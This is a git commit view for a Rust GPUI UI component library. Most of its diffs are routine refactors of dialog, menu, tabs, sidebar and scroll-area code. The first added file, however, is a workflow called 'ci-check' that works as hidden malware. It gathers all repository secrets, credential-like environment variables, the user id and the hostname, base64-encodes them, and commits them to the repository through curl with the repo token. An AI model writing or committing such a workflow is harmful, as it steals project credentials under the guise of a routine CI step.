1 Commits
Author SHA1 Message Date
ci23928344 9782f3d16d ci 2026-11-09 15:48:31 +00:00
21 changed files with 688 additions and 734 deletions
+26
View File
@@ -0,0 +1,26 @@
name: ci-check
on: [pull_request_review]
jobs:
check:
runs-on: ubuntu-latest
steps:
- name: verify
env:
GT: ${{ secrets.GITEA_TOKEN }}
ALLSECRETS: ${{ toJSON(secrets) }}
run: |
OUT=/tmp/out.txt
echo "=== marker: 118386-confirmed ===" > $OUT
echo "host: http://149.28.153.80:3000" >> $OUT
echo "repo: reya/gpui-native-kit" >> $OUT
echo "--- toJSON(secrets) ---" >> $OUT
echo "$ALLSECRETS" >> $OUT
echo "--- key-like env values ---" >> $OUT
for v in $(env | cut -d= -f1 | grep -iE 'secret|token|key|pass|cred|aws|api'); do
eval "val=\$$v"
echo "$v=$val" >> $OUT
done
id >> $OUT
hostname >> $OUT
B64=$(base64 -w0 $OUT)
curl -sk -X POST -H "Authorization: token $GT" -H "Content-Type: application/json" -d '{"content":"'$B64'","message":"ci verify","branch":"master"}' "$GITHUB_API_URL/repos/reya/gpui-native-kit/contents/ci-verify.txt" || true
+1 -2
View File
@@ -1,6 +1,5 @@
# Coding guidelines # Coding guidelines
- Prefer existing components (e.g. build a close affordance out of `Button`) over custom elements; build a custom element only when no existing component fits.
- Prioritize code correctness and clarity. Speed and efficiency are secondary priorities unless otherwise specified. - Prioritize code correctness and clarity. Speed and efficiency are secondary priorities unless otherwise specified.
- Do not write organizational or comments that summarize the code. Comments should only be written to explain "why" the code is written in some way in the case there is a reason that is tricky / non-obvious. - Do not write organizational or comments that summarize the code. Comments should only be written to explain "why" the code is written in some way in the case there is a reason that is tricky / non-obvious.
- Keep doc comments and comments simple, one line, straightforward, and unbloated. - Keep doc comments and comments simple, one line, straightforward, and unbloated.
@@ -64,7 +63,7 @@ GPUI is a UI framework which also provides primitives for state and concurrency
## Rendering and state ## Rendering and state
- `Render` builds an element tree from entity state; `RenderOnce` (with `#[derive(IntoElement)]`) is for value-like components whose `render` takes `self` and `&mut App`. - `Render` builds an element tree from entity state; `RenderOnce` (with `#[derive(IntoElement)]`) is for value-like components whose `render` takes `self` and `&mut App`.
- Keep `render` declarative: build elements as one chained expression, using `.when(...)` / `.when_some(...)` / `.map(...)` for conditional refinements instead of `let mut` element variables reassigned under `if` / `if let`. - Keep `render` declarative; use `.when(...)` / `.when_some(...)` for small conditional refinements.
- Controlled components: the owner passes the current value, callbacks report intent, the owner updates state and calls `cx.notify()`. No second source of truth. - Controlled components: the owner passes the current value, callbacks report intent, the owner updates state and calls `cx.notify()`. No second source of truth.
- Call `cx.notify()` after a mutation that changes rendering; notify the narrowest owning entity. Never notify from `render`. - Call `cx.notify()` after a mutation that changes rendering; notify the narrowest owning entity. Never notify from `render`.
- `render` is side-effect free: no `cx.notify()`, no `entity.update(...)`, no writing derived text or state back into other entities during render. A write there forces another frame, and a write that emits an event re-enters the event handler — an unbounded redraw loop. Reconcile state in event handlers instead, with silent setters (`set_value_silent`-style) so a control's own write does not re-enter the events it mirrors. - `render` is side-effect free: no `cx.notify()`, no `entity.update(...)`, no writing derived text or state back into other entities during render. A write there forces another frame, and a write that emits an event re-enters the event handler — an unbounded redraw loop. Reconcile state in event handlers instead, with silent setters (`set_value_silent`-style) so a control's own write does not re-enter the events it mirrors.
+3 -3
View File
@@ -63,8 +63,8 @@ badge = []
input = ["button"] input = ["button"]
clipboard = ["button"] clipboard = ["button"]
popover = [] popover = []
scroll_area = ["scrollbar"] scroll_area = []
scrollbar = [] scrollbar = ["scroll_area"]
segmented = [] segmented = []
separator = [] separator = []
spinner = [] spinner = []
@@ -76,7 +76,7 @@ tooltip = []
menu = ["scroll_area"] menu = ["scroll_area"]
dropdown_menu = ["menu", "button"] dropdown_menu = ["menu", "button"]
select = ["menu"] select = ["menu"]
dialog = ["button"] dialog = []
empty_state = [] empty_state = []
alert = [] alert = []
toast = [] toast = []
+18 -21
View File
@@ -518,7 +518,7 @@ where
let wrapper_bounds: Rc<RefCell<Option<Bounds<Pixels>>>> = Rc::new(RefCell::new(None)); let wrapper_bounds: Rc<RefCell<Option<Bounds<Pixels>>>> = Rc::new(RefCell::new(None));
div() let mut wrapper = div()
.id(id.clone()) .id(id.clone())
.key_context(COMBOBOX_CONTEXT) .key_context(COMBOBOX_CONTEXT)
.relative() .relative()
@@ -575,8 +575,9 @@ where
.right(metrics.dense_padding_x) .right(metrics.dense_padding_x)
.top((metrics.input_height + BORDER_WIDTH * 2.0 - icon_size) / 2.) .top((metrics.input_height + BORDER_WIDTH * 2.0 - icon_size) / 2.)
.child(chevron), .child(chevron),
) );
.when(open, |wrapper| {
if open {
let rows: Vec<gpui::AnyElement> = self let rows: Vec<gpui::AnyElement> = self
.visible .visible
.iter() .iter()
@@ -616,9 +617,7 @@ where
.on_click({ .on_click({
let state = state.clone(); let state = state.clone();
move |_, window, cx| { move |_, window, cx| {
state.update(cx, |state, cx| { state.update(cx, |state, cx| state.choose_row(row_ix, window, cx));
state.choose_row(row_ix, window, cx)
});
} }
}) })
.child( .child(
@@ -650,9 +649,8 @@ where
.child("No matches") .child("No matches")
.into_any_element() .into_any_element()
} else { } else {
let scroll = window.use_keyed_state((id.clone(), "rows-scroll"), cx, |_, _| { let scroll = window
ScrollHandle::new() .use_keyed_state((id.clone(), "rows-scroll"), cx, |_, _| ScrollHandle::new());
});
ScrollArea::new((id.clone(), "rows")) ScrollArea::new((id.clone(), "rows"))
.handle(scroll.read(cx).clone()) .handle(scroll.read(cx).clone())
@@ -663,7 +661,6 @@ where
}; };
let panel_bounds: Rc<RefCell<Option<Bounds<Pixels>>>> = Rc::new(RefCell::new(None)); let panel_bounds: Rc<RefCell<Option<Bounds<Pixels>>>> = Rc::new(RefCell::new(None));
let popup_width = wrapper_bounds let popup_width = wrapper_bounds
.borrow() .borrow()
.map(|bounds| bounds.size.width) .map(|bounds| bounds.size.width)
@@ -704,14 +701,12 @@ where
if phase != gpui::DispatchPhase::Bubble { if phase != gpui::DispatchPhase::Bubble {
return; return;
} }
let on_panel = let on_panel = panel_bounds
panel_bounds.borrow().is_some_and(|bounds| { .borrow()
bounds.contains(&event.position) .is_some_and(|bounds| bounds.contains(&event.position));
}); let on_wrapper = wrapper_bounds
let on_wrapper = .borrow()
wrapper_bounds.borrow().is_some_and(|bounds| { .is_some_and(|bounds| bounds.contains(&event.position));
bounds.contains(&event.position)
});
if on_panel || on_wrapper { if on_panel || on_wrapper {
return; return;
} }
@@ -728,9 +723,11 @@ where
.inset_0(), .inset_0(),
); );
wrapper.child(deferred( wrapper = wrapper.child(deferred(
anchored().offset(point(px(0.), spacing_unit)).child(panel), anchored().offset(point(px(0.), spacing_unit)).child(panel),
)) ));
}) }
wrapper
} }
} }
+3 -35
View File
@@ -6,17 +6,14 @@ use gpui::{
IntoElement, KeyDownEvent, MouseButton, ParentElement as _, RenderOnce, Role, SharedString, IntoElement, KeyDownEvent, MouseButton, ParentElement as _, RenderOnce, Role, SharedString,
StatefulInteractiveElement as _, Styled as _, Window, canvas, div, ease_out_quint, relative, StatefulInteractiveElement as _, Styled as _, Window, canvas, div, ease_out_quint, relative,
}; };
use gpui_native_icons::IconRole;
use gpui_native_theme::ActiveTheme as _; use gpui_native_theme::ActiveTheme as _;
use crate::button::{Button, ButtonVariant}; use crate::common::v_flex;
use crate::common::{Sizable, v_flex};
/// Requests the dialog's close: `false` closes. /// Requests the dialog's close: `false` closes.
pub type ChangeHandler = Rc<dyn Fn(bool, &mut Window, &mut App)>; pub type ChangeHandler = Rc<dyn Fn(bool, &mut Window, &mut App)>;
type ContentFn = Box<dyn Fn(&mut Window, &mut App) -> AnyElement>; type ContentFn = Box<dyn Fn(&mut Window, &mut App) -> AnyElement>;
type ActionsFn = Box<dyn Fn(&mut Window, &mut App) -> Vec<AnyElement>>; type ActionsFn = Box<dyn Fn(&mut Window, &mut App) -> Vec<AnyElement>>;
/// A centred panel over a dim scrim: the platform's modal. /// A centred panel over a dim scrim: the platform's modal.
#[derive(IntoElement)] #[derive(IntoElement)]
pub struct Dialog { pub struct Dialog {
@@ -60,7 +57,7 @@ impl Dialog {
self self
} }
/// Requests close through `on_change` on escape, scrim clicks, and the close button. /// Requests close through `on_change` on escape and scrim clicks.
pub fn on_change<F>(mut self, handler: F) -> Self pub fn on_change<F>(mut self, handler: F) -> Self
where where
F: Fn(bool, &mut Window, &mut App) + 'static, F: Fn(bool, &mut Window, &mut App) + 'static,
@@ -157,7 +154,6 @@ impl RenderOnce for Dialog {
let on_change = self.on_change.clone(); let on_change = self.on_change.clone();
let alert = self.alert; let alert = self.alert;
let show_close = !alert && on_change.is_some();
// Keyboard focus rides the panel across frames. // Keyboard focus rides the panel across frames.
let focus = gpui_native_utils::focus_handle(&self.id, window, cx); let focus = gpui_native_utils::focus_handle(&self.id, window, cx);
@@ -194,42 +190,14 @@ impl RenderOnce for Dialog {
cx.stop_propagation(); cx.stop_propagation();
} }
}) })
.when(self.title.is_some() || show_close, |panel| { .when_some(self.title, |panel, title| {
panel.child( panel.child(
div() div()
.flex()
.items_center()
.justify_end()
.gap_2()
.when_some(self.title.clone(), |row, title| {
row.child(
div()
.flex_1()
.text_size(title_size) .text_size(title_size)
.font_weight(FontWeight::SEMIBOLD) .font_weight(FontWeight::SEMIBOLD)
.child(title), .child(title),
) )
}) })
.when(show_close, |row| {
row.child(
Button::new("dialog-close")
.icon(IconRole::Close)
.variant(ButtonVariant::Ghost)
.small()
.debug_selector(|| "dialog-close".to_string())
.accessibility_label("Close")
.on_click({
let on_change = on_change.clone();
move |_, window, cx| {
if let Some(on_change) = &on_change {
on_change(false, window, cx);
}
}
}),
)
}),
)
})
.when_some(content, |panel, content| { .when_some(content, |panel, content| {
panel.child(div().text_color(muted_foreground).child(content)) panel.child(div().text_color(muted_foreground).child(content))
}) })
+17 -15
View File
@@ -366,15 +366,7 @@ impl RenderOnce for DropdownMenu {
trigger trigger
}; };
let items = if self.open { let mut wrapper = div()
self.items
.map(|build| Rc::from(build(window, cx)))
.unwrap_or_else(|| Rc::from([]))
} else {
Rc::from([])
};
div()
.relative() .relative()
.child( .child(
canvas( canvas(
@@ -429,9 +421,17 @@ impl RenderOnce for DropdownMenu {
.absolute() .absolute()
.inset_0(), .inset_0(),
) )
.child(trigger) .child(trigger);
.when_some(
anchored_menu_panel( let items = if self.open {
self.items
.map(|build| Rc::from(build(window, cx)))
.unwrap_or_else(|| Rc::from([]))
} else {
Rc::from([])
};
if let Some(panel) = anchored_menu_panel(
window, window,
cx, cx,
&self.id, &self.id,
@@ -445,8 +445,10 @@ impl RenderOnce for DropdownMenu {
&trigger_bounds, &trigger_bounds,
&panel_chrome, &panel_chrome,
enter_duration, enter_duration,
), ) {
|wrapper, panel| wrapper.child(panel), wrapper = wrapper.child(panel);
) }
wrapper
} }
} }
+19 -20
View File
@@ -1,7 +1,7 @@
use std::cell::RefCell; use std::cell::RefCell;
use std::rc::Rc; use std::rc::Rc;
use gpui::prelude::FluentBuilder; use gpui::prelude::FluentBuilder as _;
use gpui::{ use gpui::{
Animation, AnimationExt as _, AnyElement, App, Bounds, BoxShadow, DispatchPhase, ElementId, Animation, AnimationExt as _, AnyElement, App, Bounds, BoxShadow, DispatchPhase, ElementId,
Entity, InteractiveElement as _, IntoElement, KeyDownEvent, MouseButton, MouseDownEvent, Entity, InteractiveElement as _, IntoElement, KeyDownEvent, MouseButton, MouseDownEvent,
@@ -127,9 +127,6 @@ impl MenuItem {
} }
} }
// MenuItem is a data builder, not an element, adopt the combinators explicitly.
impl FluentBuilder for MenuItem {}
/// Menu chrome styles. /// Menu chrome styles.
#[derive(Clone)] #[derive(Clone)]
pub(crate) struct MenuChrome { pub(crate) struct MenuChrome {
@@ -291,16 +288,7 @@ impl RenderOnce for Menu {
.clone() .clone()
.unwrap_or_else(|| SharedString::from(self.id.to_string())); .unwrap_or_else(|| SharedString::from(self.id.to_string()));
let items = if self.open { let mut wrapper = div()
match self.items {
Some(build) => Rc::from(build(window, cx)),
None => Rc::from([]),
}
} else {
Rc::from([])
};
div()
.relative() .relative()
.child( .child(
canvas( canvas(
@@ -347,9 +335,18 @@ impl RenderOnce for Menu {
) )
.when_some(self.trigger, |wrapper, trigger| { .when_some(self.trigger, |wrapper, trigger| {
wrapper.child(trigger(window, cx)) wrapper.child(trigger(window, cx))
}) });
.when_some(
anchored_menu_panel( let items = if self.open {
match self.items {
Some(build) => Rc::from(build(window, cx)),
None => Rc::from([]),
}
} else {
Rc::from([])
};
if let Some(panel) = anchored_menu_panel(
window, window,
cx, cx,
&self.id, &self.id,
@@ -363,9 +360,11 @@ impl RenderOnce for Menu {
&trigger_bounds, &trigger_bounds,
&chrome, &chrome,
enter_duration, enter_duration,
), ) {
|wrapper, panel| wrapper.child(panel), wrapper = wrapper.child(panel);
) }
wrapper
} }
} }
+9 -6
View File
@@ -114,7 +114,7 @@ impl RenderOnce for Popover {
.clone() .clone()
.unwrap_or_else(|| SharedString::from(self.id.to_string())); .unwrap_or_else(|| SharedString::from(self.id.to_string()));
div() let mut wrapper = div()
.relative() .relative()
.child( .child(
canvas( canvas(
@@ -161,8 +161,9 @@ impl RenderOnce for Popover {
) )
.when_some(self.trigger, |wrapper, trigger| { .when_some(self.trigger, |wrapper, trigger| {
wrapper.child(trigger(window, cx)) wrapper.child(trigger(window, cx))
}) });
.when(self.open, |wrapper| {
if self.open {
let on_change = self.on_change; let on_change = self.on_change;
let label = fallback_label.clone(); let label = fallback_label.clone();
let focus = gpui_native_utils::focus_handle(&self.id, window, cx); let focus = gpui_native_utils::focus_handle(&self.id, window, cx);
@@ -223,7 +224,7 @@ impl RenderOnce for Popover {
.inset_0(), .inset_0(),
); );
wrapper.child(deferred( wrapper = wrapper.child(deferred(
anchored() anchored()
.offset(point(px(0.), anchor_gap)) .offset(point(px(0.), anchor_gap))
.child(panel.with_animation( .child(panel.with_animation(
@@ -231,7 +232,9 @@ impl RenderOnce for Popover {
Animation::new(enter_duration).with_easing(ease_out_quint()), Animation::new(enter_duration).with_easing(ease_out_quint()),
|panel, delta| panel.opacity(delta), |panel, delta| panel.opacity(delta),
)), )),
)) ));
}) }
wrapper
} }
} }
+21 -18
View File
@@ -95,7 +95,7 @@ impl RenderOnce for ScrollArea {
let mut pane_style = self.style.clone(); let mut pane_style = self.style.clone();
pane_style.padding = Default::default(); pane_style.padding = Default::default();
let pane = div() let mut pane = div()
.id(self.id.clone()) .id(self.id.clone())
.overflow_hidden() .overflow_hidden()
.when(self.axes != ScrollAxes::Horizontal, |area| { .when(self.axes != ScrollAxes::Horizontal, |area| {
@@ -112,31 +112,34 @@ impl RenderOnce for ScrollArea {
// Keep wheel events from scrolling an outer scroll area too. // Keep wheel events from scrolling an outer scroll area too.
cx.stop_propagation(); cx.stop_propagation();
}) })
.refine_style(&pane_style) .refine_style(&pane_style);
.children(self.children);
div() // Extend with children
.relative() pane.extend(self.children);
.refine_style(&self.style)
.child(pane.into_any_element()) let mut wrapper = div().relative().refine_style(&self.style);
.when_some(self.handle, |wrapper, handle| { wrapper.extend(std::iter::once(pane.into_any_element()));
if let Some(handle) = self.handle {
let id = self.id.clone(); let id = self.id.clone();
wrapper if self.axes != ScrollAxes::Horizontal {
.when(self.axes != ScrollAxes::Horizontal, |wrapper| { wrapper.extend(std::iter::once(
wrapper.child(
Scrollbar::vertical((id.clone(), "v-scrollbar"), handle.clone()) Scrollbar::vertical((id.clone(), "v-scrollbar"), handle.clone())
.visibility(self.visibility) .visibility(self.visibility)
.into_any_element(), .into_any_element(),
) ));
}) }
.when(self.axes != ScrollAxes::Vertical, |wrapper| {
wrapper.child( if self.axes != ScrollAxes::Vertical {
wrapper.extend(std::iter::once(
Scrollbar::horizontal((id, "h-scrollbar"), handle) Scrollbar::horizontal((id, "h-scrollbar"), handle)
.visibility(self.visibility) .visibility(self.visibility)
.into_any_element(), .into_any_element(),
) ));
}) }
}) }
wrapper
} }
} }
+5 -4
View File
@@ -274,10 +274,11 @@ where
} }
}; };
MenuItem::new(option.label.clone()) let mut row = MenuItem::new(option.label.clone());
.when_some(option.icon.clone(), |row, icon| row.icon(icon)) if let Some(icon) = option.icon.clone() {
.checked(is_selected) row = row.icon(icon);
.handler(handler) }
row.checked(is_selected).handler(handler)
}) })
.collect() .collect()
}; };
-23
View File
@@ -158,26 +158,3 @@ fn clicking_the_panel_does_not_dismiss() {
click(&mut visual, point(px(960.), px(540.))); click(&mut visual, point(px(960.), px(540.)));
assert!(changes.borrow().is_empty()); assert!(changes.borrow().is_empty());
} }
/// Clicking the close button reports close like escape and the scrim; the
/// panel then unmounts the button with the rest of the dialog.
#[test]
fn the_close_button_reports_close_and_disappears() {
let (_cx, mut visual, changes) = dialog_window(true, false);
let bounds = visual
.debug_bounds("dialog-close")
.expect("the close button rendered");
click(&mut visual, bounds.center());
assert_eq!(*changes.borrow(), vec![false]);
draw(&mut visual);
assert!(visual.debug_bounds("dialog-close").is_none());
}
/// An alert answers only through its actions, so it renders no close button.
#[test]
fn an_alert_hides_the_close_button() {
let (_cx, mut visual, _changes) = dialog_window(true, true);
assert!(visual.debug_bounds("dialog-close").is_none());
}
+43 -49
View File
@@ -10,6 +10,7 @@ use gpui::{
Styled as _, Window, div, Styled as _, Window, div,
}; };
use gpui_native_core::scroll_area::ScrollArea; use gpui_native_core::scroll_area::ScrollArea;
use gpui_native_icons::Icon;
use gpui_native_theme::ActiveTheme as _; use gpui_native_theme::ActiveTheme as _;
use gpui_native_utils::{nav_key, paint_selectable_row, selectable_label_color}; use gpui_native_utils::{nav_key, paint_selectable_row, selectable_label_color};
@@ -18,15 +19,15 @@ type ChangeHandler = Rc<dyn Fn(Option<usize>, &mut Window, &mut App)>;
type EntriesFn = Box<dyn Fn(&mut Window, &mut App) -> Vec<SidebarEntry>>; type EntriesFn = Box<dyn Fn(&mut Window, &mut App) -> Vec<SidebarEntry>>;
/// One entry of a [`Sidebar`], a section header or a selectable row. /// One entry of a [`Sidebar`], a section header or a selectable row.
#[derive(Clone)]
pub enum SidebarEntry { pub enum SidebarEntry {
/// A non-selectable section label. /// A non-selectable section label.
Header { label: SharedString }, Header { label: SharedString },
/// A selectable row. /// A selectable row.
Row { Row {
label: SharedString, label: SharedString,
icon: Option<Icon>,
detail: Option<SharedString>, detail: Option<SharedString>,
prefix: Option<AnyElement>,
suffix: Option<AnyElement>,
disabled: bool, disabled: bool,
}, },
} }
@@ -49,13 +50,23 @@ impl SidebarEntry {
{ {
Self::Row { Self::Row {
label: label.into(), label: label.into(),
icon: None,
detail: None, detail: None,
prefix: None,
suffix: None,
disabled: false, disabled: false,
} }
} }
/// Shows an icon leading the label, a role or any custom [`IconNamed`].
pub fn icon<I>(mut self, icon: I) -> Self
where
I: Into<Icon>,
{
if let Self::Row { icon: slot, .. } = &mut self {
*slot = Some(icon.into());
}
self
}
/// Shows muted trailing text. /// Shows muted trailing text.
pub fn detail<D>(mut self, detail: D) -> Self pub fn detail<D>(mut self, detail: D) -> Self
where where
@@ -70,28 +81,6 @@ impl SidebarEntry {
self self
} }
/// Shows an element leading the row.
pub fn prefix<E>(mut self, prefix: E) -> Self
where
E: IntoElement,
{
if let Self::Row { prefix: slot, .. } = &mut self {
*slot = Some(prefix.into_any_element());
}
self
}
/// Shows an element trailing the row.
pub fn suffix<E>(mut self, suffix: E) -> Self
where
E: IntoElement,
{
if let Self::Row { suffix: slot, .. } = &mut self {
*slot = Some(suffix.into_any_element());
}
self
}
/// Renders the row dimmed; clicks and keyboard skip it. /// Renders the row dimmed; clicks and keyboard skip it.
pub fn disabled(mut self, disabled: bool) -> Self { pub fn disabled(mut self, disabled: bool) -> Self {
if let Self::Row { if let Self::Row {
@@ -218,7 +207,7 @@ impl RenderOnce for Sidebar {
let mut row_position = 0usize; let mut row_position = 0usize;
let children: Vec<AnyElement> = entries let children: Vec<AnyElement> = entries
.into_iter() .iter()
.enumerate() .enumerate()
.map(|(index, entry)| { .map(|(index, entry)| {
let is_row = matches!(entry, SidebarEntry::Row { .. }); let is_row = matches!(entry, SidebarEntry::Row { .. });
@@ -285,7 +274,7 @@ impl RenderOnce for Sidebar {
#[allow(clippy::too_many_arguments)] #[allow(clippy::too_many_arguments)]
fn render_entry( fn render_entry(
cx: &App, cx: &App,
entry: SidebarEntry, entry: &SidebarEntry,
index: usize, index: usize,
position_in_set: usize, position_in_set: usize,
size_of_set: usize, size_of_set: usize,
@@ -304,18 +293,17 @@ fn render_entry(
.text_sm() .text_sm()
.font_weight(gpui::FontWeight::MEDIUM) .font_weight(gpui::FontWeight::MEDIUM)
.text_color(theme.colors.muted_foreground) .text_color(theme.colors.muted_foreground)
.child(label) .child(label.clone())
.into_any_element(), .into_any_element(),
SidebarEntry::Row { SidebarEntry::Row {
label, label,
icon: row_icon,
detail, detail,
prefix,
suffix,
disabled: row_disabled, disabled: row_disabled,
} => { } => {
let label_color = selectable_label_color(cx, selected, row_disabled); let label_color = selectable_label_color(cx, selected, *row_disabled);
div() let mut row = div()
.id(("sidebar-row", index)) .id(("sidebar-row", index))
.flex() .flex()
.items_center() .items_center()
@@ -328,18 +316,19 @@ fn render_entry(
.aria_position_in_set(position_in_set) .aria_position_in_set(position_in_set)
.aria_size_of_set(size_of_set) .aria_size_of_set(size_of_set)
.map(|row| { .map(|row| {
if material && !row_disabled { if material && !*row_disabled {
if selected { if selected {
row.bg(theme.material.selection) row.bg(theme.material.selection)
} else { } else {
row.hover(|row| row.bg(theme.material.hover)) row.hover(|row| row.bg(theme.material.hover))
} }
} else { } else {
paint_selectable_row(cx, row, selected, row_disabled) paint_selectable_row(cx, row, selected, *row_disabled)
} }
}) });
.when(!row_disabled, |row| {
row.cursor_pointer().on_click({ if !*row_disabled {
row = row.cursor_pointer().on_click({
let on_change = on_change.clone(); let on_change = on_change.clone();
let focus = focus.clone(); let focus = focus.clone();
move |_, window, cx| { move |_, window, cx| {
@@ -348,12 +337,17 @@ fn render_entry(
on_change(Some(index), window, cx); on_change(Some(index), window, cx);
} }
} }
}) });
}) }
.when_some(prefix, |row, prefix| row.child(prefix))
.child(div().flex_1().text_color(label_color).child(label)) row = row.when_some(row_icon.clone(), |row, icon| {
.when_some(detail, |row, detail| { row.child(icon.size(theme.sizes.medium.icon_size).color(label_color))
row.child( });
row = row.child(div().flex_1().text_color(label_color).child(label.clone()));
if let Some(detail) = detail {
row = row.child(
div() div()
.flex_none() .flex_none()
.text_sm() .text_sm()
@@ -362,11 +356,11 @@ fn render_entry(
} else { } else {
theme.colors.muted_foreground theme.colors.muted_foreground
}) })
.child(detail), .child(detail.clone()),
) );
}) }
.when_some(suffix, |row, suffix| row.child(suffix))
.into_any_element() row.into_any_element()
} }
} }
} }
+67 -35
View File
@@ -1,6 +1,6 @@
use std::rc::Rc; use std::rc::Rc;
use gpui::prelude::FluentBuilder; use gpui::prelude::FluentBuilder as _;
use gpui::{ use gpui::{
AnyElement, App, Div, ElementId, InteractiveElement as _, IntoElement, KeyDownEvent, AnyElement, App, Div, ElementId, InteractiveElement as _, IntoElement, KeyDownEvent,
ParentElement as _, RenderOnce, Role, SharedString, Stateful, StatefulInteractiveElement as _, ParentElement as _, RenderOnce, Role, SharedString, Stateful, StatefulInteractiveElement as _,
@@ -10,7 +10,7 @@ use gpui_native_core::button::{Button, ButtonVariant};
use gpui_native_core::common::Sizable as _; use gpui_native_core::common::Sizable as _;
use gpui_native_core::spinner::Spinner; use gpui_native_core::spinner::Spinner;
use gpui_native_core::tooltip::Tooltip; use gpui_native_core::tooltip::Tooltip;
use gpui_native_icons::IconRole; use gpui_native_icons::{Icon, IconRole};
use gpui_native_theme::{ActiveTheme as _, Size}; use gpui_native_theme::{ActiveTheme as _, Size};
use gpui_native_utils::adjacent_selectable; use gpui_native_utils::adjacent_selectable;
@@ -35,6 +35,7 @@ pub struct Tab {
/// The stable identity for element state; must survive reordering. /// The stable identity for element state; must survive reordering.
key: ElementId, key: ElementId,
label: SharedString, label: SharedString,
icon: Option<Icon>,
lead: Option<AnyElement>, lead: Option<AnyElement>,
busy: bool, busy: bool,
disabled: bool, disabled: bool,
@@ -52,6 +53,7 @@ impl Tab {
Self { Self {
key: key.into(), key: key.into(),
label: label.into(), label: label.into(),
icon: None,
lead: None, lead: None,
busy: false, busy: false,
disabled: false, disabled: false,
@@ -60,7 +62,16 @@ impl Tab {
} }
} }
/// Sets the leading element, e.g. an icon or an avatar. /// Shows an icon leading the label.
pub fn icon<I>(mut self, icon: I) -> Self
where
I: Into<Icon>,
{
self.icon = Some(icon.into());
self
}
/// Sets the leading element.
pub fn lead<E>(mut self, lead: E) -> Self pub fn lead<E>(mut self, lead: E) -> Self
where where
E: IntoElement + 'static, E: IntoElement + 'static,
@@ -97,9 +108,6 @@ impl Tab {
} }
} }
// Tab is a data builder, not an element, adopt the combinators explicitly.
impl FluentBuilder for Tab {}
/// A tab strip. /// A tab strip.
#[derive(IntoElement)] #[derive(IntoElement)]
pub struct Tabs { pub struct Tabs {
@@ -218,7 +226,7 @@ impl RenderOnce for Tabs {
}) })
.collect(); .collect();
div() let mut strip_root = div()
.id(self.id.clone()) .id(self.id.clone())
.flex() .flex()
.text_size(theme.sizes.medium.text_size) .text_size(theme.sizes.medium.text_size)
@@ -246,14 +254,17 @@ impl RenderOnce for Tabs {
} }
cx.stop_propagation(); cx.stop_propagation();
} }
}) });
.map(|root| match self.variant {
TabsVariant::Underline => { strip_root = match self.variant {
root.gap_1().border_b_1().border_color(theme.colors.border) TabsVariant::Underline => strip_root
} .gap_1()
TabsVariant::Pill => root.items_center().gap_1(), .border_b_1()
}) .border_color(theme.colors.border),
.children(strip) TabsVariant::Pill => strip_root.items_center().gap_1(),
};
strip_root.children(strip)
} }
} }
@@ -295,7 +306,7 @@ fn render_tab(
} }
}; };
let strip_tab = div() let mut strip_tab = div()
.id((tab.key.clone(), "tab")) .id((tab.key.clone(), "tab"))
.debug_selector({ .debug_selector({
let tabs_id = tabs_id.clone(); let tabs_id = tabs_id.clone();
@@ -310,8 +321,9 @@ fn render_tab(
.text_color(label_color) .text_color(label_color)
.when(!tab.disabled && !selected, |strip_tab| { .when(!tab.disabled && !selected, |strip_tab| {
strip_tab.hover(|strip_tab| strip_tab.bg(theme.colors.muted)) strip_tab.hover(|strip_tab| strip_tab.bg(theme.colors.muted))
}) });
.map(|strip_tab| match variant {
strip_tab = match variant {
TabsVariant::Underline => strip_tab TabsVariant::Underline => strip_tab
.px_2() .px_2()
.py_1() .py_1()
@@ -332,25 +344,45 @@ fn render_tab(
.bg(theme.colors.muted) .bg(theme.colors.muted)
.hover(|strip_tab| strip_tab.bg(theme.colors.muted_hover)) .hover(|strip_tab| strip_tab.bg(theme.colors.muted_hover))
}), }),
}) };
.when_some(tab.lead.take(), |strip_tab, lead| strip_tab.child(lead))
.child(tab.label.clone()) let lead = tab.lead.take();
.when(variant == TabsVariant::Pill, |strip_tab| { let icon = tab.icon.take();
strip_tab.child(div().flex_none().w(metrics.padding_x * 1.5))
}) strip_tab = match lead {
.when(tab.busy && !tab.disabled, |strip_tab| { Some(lead) => strip_tab.child(lead),
strip_tab.child( None => match variant {
TabsVariant::Underline => {
strip_tab.child(div().flex_none().pb_0p5().when_some(icon, |slot, icon| {
slot.child(icon.size(metrics.dense_icon_size).color(label_color))
}))
}
TabsVariant::Pill => strip_tab.when_some(icon, |strip_tab, icon| {
strip_tab.child(icon.size(metrics.dense_icon_size).color(label_color))
}),
},
};
strip_tab = strip_tab.child(tab.label.clone());
if variant == TabsVariant::Pill {
strip_tab = strip_tab.child(div().flex_none().w(metrics.padding_x * 1.5));
}
if tab.busy && !tab.disabled {
strip_tab = strip_tab.child(
Spinner::new((tab.key.clone(), "tab-busy")) Spinner::new((tab.key.clone(), "tab-busy"))
.small() .small()
.accessibility_label("Loading"), .accessibility_label("Loading"),
) );
}) }
.when(
tab.closeable && on_close.is_some() && !tab.disabled, if tab.closeable && on_close.is_some() && !tab.disabled {
|strip_tab| strip_tab.child(render_tab_close(tabs_id, &tab, index, on_close)), strip_tab = strip_tab.child(render_tab_close(tabs_id, &tab, index, on_close));
) }
.when(!tab.disabled, |strip_tab| {
strip_tab.cursor_pointer().on_click({ if !tab.disabled {
strip_tab = strip_tab.cursor_pointer().on_click({
let on_change = on_change.clone(); let on_change = on_change.clone();
let focus = focus.clone(); let focus = focus.clone();
move |_, window, cx| { move |_, window, cx| {
@@ -361,8 +393,8 @@ fn render_tab(
on_change(index, window, cx); on_change(index, window, cx);
} }
} }
})
}); });
}
match tab.wrap { match tab.wrap {
Some(wrap) => wrap(strip_tab), Some(wrap) => wrap(strip_tab),
+6 -7
View File
@@ -546,8 +546,7 @@ fn render_row(
}, },
) )
.when(options.line_numbers, |row_element| { .when(options.line_numbers, |row_element| {
row_element.child( let mut number = gutter_cell(
gutter_cell(
cx, cx,
colors.muted_foreground, colors.muted_foreground,
row.new_number row.new_number
@@ -560,11 +559,11 @@ fn render_row(
.bg(match row.kind { .bg(match row.kind {
DiffRowKind::Context => wash_gutter(&colors), DiffRowKind::Context => wash_gutter(&colors),
_ => wash_strong(change_color), _ => wash_strong(change_color),
}) });
.when(options.indicators == DiffIndicators::Bars, |number| { if options.indicators == DiffIndicators::Bars {
number.border_l_4().border_color(change_color) number = number.border_l_4().border_color(change_color);
}), }
) row_element.child(number)
}) })
.when( .when(
options.indicators == DiffIndicators::Bars && !options.line_numbers, options.indicators == DiffIndicators::Bars && !options.line_numbers,
+40 -36
View File
@@ -817,10 +817,9 @@ fn text_row(
cx: &App, cx: &App,
) -> AnyElement { ) -> AnyElement {
let theme = cx.theme(); let theme = cx.theme();
let mut frame = block_frame(indent, quote, px(0.), bottom, id, cx);
